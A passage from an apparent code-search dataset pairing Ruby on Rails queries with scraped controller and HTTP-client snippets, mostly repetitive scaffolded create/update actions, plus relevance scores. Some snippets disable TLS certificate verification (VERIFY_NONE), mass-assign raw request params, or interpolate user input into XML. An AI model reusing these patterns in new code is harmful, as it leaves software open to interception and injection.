event chain\n return false\n end\n end", "def create\n @post75 = Post75.new(params[:post75])\n\n respond_to do |format|\n if @post75.save\n format.html { redirect_to(@post75, :notice => 'Post75 was successfully created.') }\n format.xml { render :xml => @post75, :status => :created, :location => @post75 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post75.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post174 = Post174.new(params[:post174])\n\n respond_to do |format|\n if @post174.save\n format.html { redirect_to(@post174, :notice => 'Post174 was successfully created.') }\n format.xml { render :xml => @post174, :status => :created, :location => @post174 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post174.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post231 = Post231.new(params[:post231])\n\n respond_to do |format|\n if @post231.save\n format.html { redirect_to(@post231, :notice => 'Post231 was successfully created.') }\n format.xml { render :xml => @post231, :status => :created, :location => @post231 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post231.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, options = T.unsafe(nil)); end", "def create\n @post267 = Post267.new(params[:post267])\n\n respond_to do |format|\n if @post267.save\n format.html { redirect_to(@post267, :notice => 'Post267 was successfully created.') }\n format.xml { render :xml => @post267, :status => :created, :location => @post267 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post267.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(action, params={}, options={})\n request(:post, action, params, options)\n end", "def test_post_sample_traces\n header 'Content-Type', 'application/json'\n\n (0..4).each do |i|\n data = File.read \"sample-traces/#{i}.json\"\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n assert last_response.ok?\n end\n end", "def api_post(action, data)\n api_request(action, data, 'POST')\n end", "def post payload, path = \"\" \n make_request(path, \"post\", payload)\n end", "def post(url, post_vars={})\n send_request url, post_vars, 'POST'\n end", "def create\n @post125 = Post125.new(params[:post125])\n\n respond_to do |format|\n if @post125.save\n format.html { redirect_to(@post125, :notice => 'Post125 was successfully created.') }\n format.xml { render :xml => @post125, :status => :created, :location => @post125 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post125.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post57 = Post57.new(params[:post57])\n\n respond_to do |format|\n if @post57.save\n format.html { redirect_to(@post57, :notice => 'Post57 was successfully created.') }\n format.xml { render :xml => @post57, :status => :created, :location => @post57 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post57.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(body)\n request = Net::HTTP::Post.new(bind_uri)\n request.body = body\n request.content_length = request.body.size\n request[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\n Jabber.debug(\"Sending POST request - #{body.strip}\")\n\n response = Net::HTTP.new(domain, port).start { |http| http.request(request) }\n\n Jabber.debug(\"Receiving POST response - #{response.code}: #{response.body.inspect}\")\n\n unless response.is_a?(Net::HTTPSuccess)\n raise Net::HTTPBadResponse, \"Net::HTTPSuccess expected, but #{response.class} was received\"\n end\n\n response\n end", "def create\n @post85 = Post85.new(params[:post85])\n\n respond_to do |format|\n if @post85.save\n format.html { redirect_to(@post85, :notice => 'Post85 was successfully created.') }\n format.xml { render :xml => @post85, :status => :created, :location => @post85 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post85.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end", "def do_submission(path, xml = nil)\n if xml.nil?\n form = create(:form, question_types: %w(integer integer))\n form.publish!\n xml = build_odk_submission(form)\n end\n\n # write xml to file\n require 'fileutils'\n FileUtils.mkpath('test/fixtures')\n fixture_file = Rails.root.join('test/fixtures/', ODK_XML_FILE)\n File.open(fixture_file.to_s, 'w') { |f| f.write(xml) }\n\n # Upload and do request.\n uploaded = fixture_file_upload(fixture_file, 'text/xml')\n post(path, {:xml_submission_file => uploaded, :format => 'xml'}, 'HTTP_AUTHORIZATION' => encode_credentials(@user.login, 'password'))\n assigns(:response)\n end", "def create\n @post249 = Post249.new(params[:post249])\n\n respond_to do |format|\n if @post249.save\n format.html { redirect_to(@post249, :notice => 'Post249 was successfully created.') }\n format.xml { render :xml => @post249, :status => :created, :location => @post249 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post249.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post55 = Post55.new(params[:post55])\n\n respond_to do |format|\n if @post55.save\n format.html { redirect_to(@post55, :notice => 'Post55 was successfully created.') }\n format.xml { render :xml => @post55, :status => :created, :location => @post55 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post55.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post149 = Post149.new(params[:post149])\n\n respond_to do |format|\n if @post149.save\n format.html { redirect_to(@post149, :notice => 'Post149 was successfully created.') }\n format.xml { render :xml => @post149, :status => :created, :location => @post149 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post149.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end", "def create\n @post377 = Post377.new(params[:post377])\n\n respond_to do |format|\n if @post377.save\n format.html { redirect_to(@post377, :notice => 'Post377 was successfully created.') }\n format.xml { render :xml => @post377, :status => :created, :location => @post377 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post377.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end", "def create\n @post74 = Post74.new(params[:post74])\n\n respond_to do |format|\n if @post74.save\n format.html { redirect_to(@post74, :notice => 'Post74 was successfully created.') }\n format.xml { render :xml => @post74, :status => :created, :location => @post74 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post74.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post105 = Post105.new(params[:post105])\n\n respond_to do |format|\n if @post105.save\n format.html { redirect_to(@post105, :notice => 'Post105 was successfully created.') }\n format.xml { render :xml => @post105, :status => :created, :location => @post105 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post105.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post182 = Post182.new(params[:post182])\n\n respond_to do |format|\n if @post182.save\n format.html { redirect_to(@post182, :notice => 'Post182 was successfully created.') }\n format.xml { render :xml => @post182, :status => :created, :location => @post182 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post182.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post252 = Post252.new(params[:post252])\n\n respond_to do |format|\n if @post252.save\n format.html { redirect_to(@post252, :notice => 'Post252 was successfully created.') }\n format.xml { render :xml => @post252, :status => :created, :location => @post252 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post252.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, request_headers, body)\n request('post', uri, request_headers, body)\n end", "def create\n @post349 = Post349.new(params[:post349])\n\n respond_to do |format|\n if @post349.save\n format.html { redirect_to(@post349, :notice => 'Post349 was successfully created.') }\n format.xml { render :xml => @post349, :status => :created, :location => @post349 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post349.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post257 = Post257.new(params[:post257])\n\n respond_to do |format|\n if @post257.save\n format.html { redirect_to(@post257, :notice => 'Post257 was successfully created.') }\n format.xml { render :xml => @post257, :status => :created, :location => @post257 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post257.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post196 = Post196.new(params[:post196])\n\n respond_to do |format|\n if @post196.save\n format.html { redirect_to(@post196, :notice => 'Post196 was successfully created.') }\n format.xml { render :xml => @post196, :status => :created, :location => @post196 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post196.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_xml(url, ls_data)\n uri = URI.parse(url)\n request = Net::HTTP::Post.new(uri.request_uri, HEADER_XML)\n request.body = ls_data\n request.basic_auth(@nsx_user, @nsx_password)\n response = Net::HTTP.start(uri.host, uri.port, :use_ssl => true,\n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |https|\n https.request(request)\n end\n return response.body if check_response(response, 201)\n end", "def create\n @post358 = Post358.new(params[:post358])\n\n respond_to do |format|\n if @post358.save\n format.html { redirect_to(@post358, :notice => 'Post358 was successfully created.') }\n format.xml { render :xml => @post358, :status => :created, :location => @post358 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post358.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post260 = Post260.new(params[:post260])\n\n respond_to do |format|\n if @post260.save\n format.html { redirect_to(@post260, :notice => 'Post260 was successfully created.') }\n format.xml { render :xml => @post260, :status => :created, :location => @post260 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post260.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post150 = Post150.new(params[:post150])\n\n respond_to do |format|\n if @post150.save\n format.html { redirect_to(@post150, :notice => 'Post150 was successfully created.') }\n format.xml { render :xml => @post150, :status => :created, :location => @post150 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post150.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post276 = Post276.new(params[:post276])\n\n respond_to do |format|\n if @post276.save\n format.html { redirect_to(@post276, :notice => 'Post276 was successfully created.') }\n format.xml { render :xml => @post276, :status => :created, :location => @post276 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post276.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post272 = Post272.new(params[:post272])\n\n respond_to do |format|\n if @post272.save\n format.html { redirect_to(@post272, :notice => 'Post272 was successfully created.') }\n format.xml { render :xml => @post272, :status => :created, :location => @post272 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post272.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_multipart(method, params = {})\n url = make_url method, {}\n url.query = nil\n\n boundary, data = make_multipart params\n\n req = Net::HTTP::Post.new url.path\n req.content_type = \"multipart/form-data; boundary=#{boundary}\"\n req.body = data\n\n res = Net::HTTP.start url.host, url.port do |http|\n http.request req\n end\n\n xml = Nokogiri::XML(res.body, nil, nil, 0)\n\n check_error xml\n\n parse_response xml\n rescue SystemCallError, SocketError, Timeout::Error, IOError,\n Nokogiri::XML::SyntaxError => e\n raise CommunicationError.new(e)\n rescue Net::HTTPError => e\n xml = Nokogiri::XML(e.res.body, nil, nil, 0)\n check_error xml\n raise CommunicationError.new(e)\n end", "def create\n @post227 = Post227.new(params[:post227])\n\n respond_to do |format|\n if @post227.save\n format.html { redirect_to(@post227, :notice => 'Post227 was successfully created.') }\n format.xml { render :xml => @post227, :status => :created, :location => @post227 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post227.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post447 = Post447.new(params[:post447])\n\n respond_to do |format|\n if @post447.save\n format.html { redirect_to(@post447, :notice => 'Post447 was successfully created.') }\n format.xml { render :xml => @post447, :status => :created, :location => @post447 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post447.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post!\n request! :post\n end", "def create\n @post385 = Post385.new(params[:post385])\n\n respond_to do |format|\n if @post385.save\n format.html { redirect_to(@post385, :notice => 'Post385 was successfully created.') }\n format.xml { render :xml => @post385, :status => :created, :location => @post385 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post385.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post350 = Post350.new(params[:post350])\n\n respond_to do |format|\n if @post350.save\n format.html { redirect_to(@post350, :notice => 'Post350 was successfully created.') }\n format.xml { render :xml => @post350, :status => :created, :location => @post350 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post350.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post425 = Post425.new(params[:post425])\n\n respond_to do |format|\n if @post425.save\n format.html { redirect_to(@post425, :notice => 'Post425 was successfully created.') }\n format.xml { render :xml => @post425, :status => :created, :location => @post425 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post425.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post183 = Post183.new(params[:post183])\n\n respond_to do |format|\n if @post183.save\n format.html { redirect_to(@post183, :notice => 'Post183 was successfully created.') }\n format.xml { render :xml => @post183, :status => :created, :location => @post183 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post183.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_request(path, params={}, options={})\n request(:post, path, params, options)\n end", "def post\n Rentlinx.client.post(self)\n end", "def test_attach_file\n# post :upload, \"note\"=>{\"title\"=>\"my note\"}, \"courseid\"=>\"806350272748085520\",\n# \"processor\"=>{\"id\"=>\"1000001\"}, \"success\"=>\"/course/806350272748085520/ACMA-320/share_notes\", \n# \"upload_id\"=>\"1169944954\", \n# \"failure\"=>\"/course/806350272748085520/ACMA-320/share_notes\"\n \n post :upload, \"noteid\"=>\"816717565610925385\", \"processor\"=>{\"id\"=>\"1000001\"}\n \n end", "def create\n @post297 = Post297.new(params[:post297])\n\n respond_to do |format|\n if @post297.save\n format.html { redirect_to(@post297, :notice => 'Post297 was successfully created.') }\n format.xml { render :xml => @post297, :status => :created, :location => @post297 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post297.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_stomp(msg,headers)\n \n response_header = {\"Content-type\" => \"text/xml\"}\n response_header.merge headers\n ht =Net::HTTP.start(self.host,self.port)\n url = self.url # + \"/\" + self.topic\n puts \"posting to: #{self.host}: #{self.port} #{url} message: #{msg.to_xml}\"\n r=ht.post(url,msg.to_xml,response_header)\n \n puts \"result: #{r.to_s}\"\n r\n end", "def create\n @post77 = Post77.new(params[:post77])\n\n respond_to do |format|\n if @post77.save\n format.html { redirect_to(@post77, :notice => 'Post77 was successfully created.') }\n format.xml { render :xml => @post77, :status => :created, :location => @post77 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post77.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.64290154", "0.6066192", "0.5991393", "0.59452283", "0.5931579", "0.59171975", "0.59149444", "0.5834256", "0.5820395", "0.58191323", "0.579816", "0.57885826", "0.5755538", "0.5749679", "0.5731428", "0.5725543", "0.57033277", "0.5695275", "0.5694588", "0.5684866", "0.568192", "0.56762666", "0.56728625", "0.56710446", "0.56670123", "0.56566894", "0.5651741", "0.56505996", "0.5647266", "0.56385565", "0.56362563", "0.56346565", "0.56336856", "0.56288326", "0.56135637", "0.56133044", "0.56132066", "0.56076455", "0.56072265", "0.56046987", "0.55963224", "0.559367", "0.55921096", "0.5584947", "0.5584513", "0.55791306", "0.5567167", "0.5566176", "0.55629474", "0.5553927", "0.55526185", "0.55456257", "0.55435944", "0.55415976", "0.5540781", "0.55368865", "0.55342335", "0.55286384", "0.55118597", "0.5509596", "0.5509248", "0.5507584", "0.55015665", "0.5499693", "0.549691", "0.54960006", "0.5491379", "0.5490703", "0.5489425", "0.54841506", "0.5480937", "0.5479441", "0.54729885", "0.54671896", "0.5459486", "0.54582036", "0.54526424", "0.54520565", "0.5447523", "0.5446715", "0.5439585", "0.5435975", "0.5433264", "0.54263824", "0.54253584", "0.54182214", "0.5416751", "0.5402937", "0.539988", "0.5399413", "0.5386703", "0.5385353", "0.53838843", "0.53793985", "0.5376027", "0.5374956", "0.53736836", "0.5370593", "0.53613156", "0.5359504" ]
0.6251423
1
PUT /post245s/1 PUT /post245s/1.xml
def update @post245 = Post245.find(params[:id]) respond_to do |format| if @post245.update_attributes(params[:post245]) format.html { redirect_to(@post245, :notice => 'Post245 was successfully updated.') } format.xml { head :ok } else format.html { render :action => "edit" } format.xml { render :xml => @post245.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def put(uri, xml)\r\n req = Net::HTTP::Put.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end", "def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend", "def put_datastream(pid, dsID, xml)\n uri = URI.parse(@fedora + '/objects/' + pid + '/datastreams/' + dsID ) \n RestClient.put(uri.to_s, xml, :content_type => \"application/xml\")\n rescue => e\n e.response \n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def update(id, name=\"Updated Name\", age=\"55\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <id type='integer'>#{id}</id>\r\n <name>#{name}</name>\r\n <age>#{age}</age> \r\n </person>\"\r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "def update\n @post157 = Post157.find(params[:id])\n\n respond_to do |format|\n if @post157.update_attributes(params[:post157])\n format.html { redirect_to(@post157, :notice => 'Post157 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post157.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post275 = Post275.find(params[:id])\n\n respond_to do |format|\n if @post275.update_attributes(params[:post275])\n format.html { redirect_to(@post275, :notice => 'Post275 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post275.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post156 = Post156.find(params[:id])\n\n respond_to do |format|\n if @post156.update_attributes(params[:post156])\n format.html { redirect_to(@post156, :notice => 'Post156 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post156.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post253 = Post253.find(params[:id])\n\n respond_to do |format|\n if @post253.update_attributes(params[:post253])\n format.html { redirect_to(@post253, :notice => 'Post253 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post253.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post246 = Post246.find(params[:id])\n\n respond_to do |format|\n if @post246.update_attributes(params[:post246])\n format.html { redirect_to(@post246, :notice => 'Post246 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post246.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post193 = Post193.find(params[:id])\n\n respond_to do |format|\n if @post193.update_attributes(params[:post193])\n format.html { redirect_to(@post193, :notice => 'Post193 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post193.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post231 = Post231.find(params[:id])\n\n respond_to do |format|\n if @post231.update_attributes(params[:post231])\n format.html { redirect_to(@post231, :notice => 'Post231 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post231.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post182 = Post182.find(params[:id])\n\n respond_to do |format|\n if @post182.update_attributes(params[:post182])\n format.html { redirect_to(@post182, :notice => 'Post182 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post182.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n flash[:notice] = 'Post was successfully updated.'\n format.html { redirect_to(@post) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n make_rss\n end", "def update\n @post125 = Post125.find(params[:id])\n\n respond_to do |format|\n if @post125.update_attributes(params[:post125])\n format.html { redirect_to(@post125, :notice => 'Post125 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post125.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post328 = Post328.find(params[:id])\n\n respond_to do |format|\n if @post328.update_attributes(params[:post328])\n format.html { redirect_to(@post328, :notice => 'Post328 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post328.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end", "def update\n @post295 = Post295.find(params[:id])\n\n respond_to do |format|\n if @post295.update_attributes(params[:post295])\n format.html { redirect_to(@post295, :notice => 'Post295 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post295.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post335 = Post335.find(params[:id])\n\n respond_to do |format|\n if @post335.update_attributes(params[:post335])\n format.html { redirect_to(@post335, :notice => 'Post335 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post335.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end", "def update\n @post273 = Post273.find(params[:id])\n\n respond_to do |format|\n if @post273.update_attributes(params[:post273])\n format.html { redirect_to(@post273, :notice => 'Post273 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post273.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post251 = Post251.find(params[:id])\n\n respond_to do |format|\n if @post251.update_attributes(params[:post251])\n format.html { redirect_to(@post251, :notice => 'Post251 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post251.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(uri, doc = nil, options = {})\n execute(uri, :put, options, doc)\n end", "def post\n doc = Nokogiri::XML(request.body)\n id= (doc/'id').text\n # p = Post.exists?(id) ? Post.find(id) : Post.new\n p= Post.find_or_create_by_intranet_id id\n p.update_attributes :subject => (doc/'subject').text,\n :body => (doc/'body').text, :post_type => (doc/'post-type').text,\n :pic => (doc/'pic') .text, :begin_on=>(doc/'begin-on').text,\n :pic_postimg => (doc/'pic-postimg').text,\n :video => (doc/'video').text, \n :end_on => (doc/'end-on').text, :stick => (doc/'stick').text \n render :text => \"ok\"\n end", "def update\n @post181 = Post181.find(params[:id])\n\n respond_to do |format|\n if @post181.update_attributes(params[:post181])\n format.html { redirect_to(@post181, :notice => 'Post181 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post181.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post174 = Post174.find(params[:id])\n\n respond_to do |format|\n if @post174.update_attributes(params[:post174])\n format.html { redirect_to(@post174, :notice => 'Post174 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post174.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def update\n @post197 = Post197.find(params[:id])\n\n respond_to do |format|\n if @post197.update_attributes(params[:post197])\n format.html { redirect_to(@post197, :notice => 'Post197 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post197.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post183 = Post183.find(params[:id])\n\n respond_to do |format|\n if @post183.update_attributes(params[:post183])\n format.html { redirect_to(@post183, :notice => 'Post183 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post183.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post143 = Post143.find(params[:id])\n\n respond_to do |format|\n if @post143.update_attributes(params[:post143])\n format.html { redirect_to(@post143, :notice => 'Post143 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post143.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update(uri, payload)\n url = \"#{@config[:base_url]}#{@config[:rest_path]}/#{extract_pid(uri)}\"\n request = Request.new(\n \"Put\", url, payload.to_s, {\n \"Accept\" => \"application/json\",\n \"Content-Type\" => \"application/json\",\n \"Content-Length\" => \"nnnn\",\n @auth_header => @token\n }\n )\n response = request.perform\n response\n end", "def template_update(id, type, filename)\n check_id_or_raise id\n check_template_type_or_raise type\n check_filename_or_raise filename\n response = http_request_multipart :put, @base_url + \"/templates/#{id}.xml\", 200,\n { :provider_key => @provider_key,\n :draft => File.read(filename), \n :multipart => true}\n puts 'at update call'\n _id, _updated_at = parse_response response, type\n response = http_request :put, \"#{@base_url}/templates/#{id}/publish\", 200,\n { :params => { :provider_key => @provider_key } }\n puts 'at publish call'\n parse_response response, 'page'\n end", "def update\n @post105 = Post105.find(params[:id])\n\n respond_to do |format|\n if @post105.update_attributes(params[:post105])\n format.html { redirect_to(@post105, :notice => 'Post105 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post105.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post75 = Post75.find(params[:id])\n\n respond_to do |format|\n if @post75.update_attributes(params[:post75])\n format.html { redirect_to(@post75, :notice => 'Post75 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post75.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post78 = Post78.find(params[:id])\n\n respond_to do |format|\n if @post78.update_attributes(params[:post78])\n format.html { redirect_to(@post78, :notice => 'Post78 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post78.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post150 = Post150.find(params[:id])\n\n respond_to do |format|\n if @post150.update_attributes(params[:post150])\n format.html { redirect_to(@post150, :notice => 'Post150 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post150.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post120 = Post120.find(params[:id])\n\n respond_to do |format|\n if @post120.update_attributes(params[:post120])\n format.html { redirect_to(@post120, :notice => 'Post120 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post120.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post57 = Post57.find(params[:id])\n\n respond_to do |format|\n if @post57.update_attributes(params[:post57])\n format.html { redirect_to(@post57, :notice => 'Post57 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post57.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n 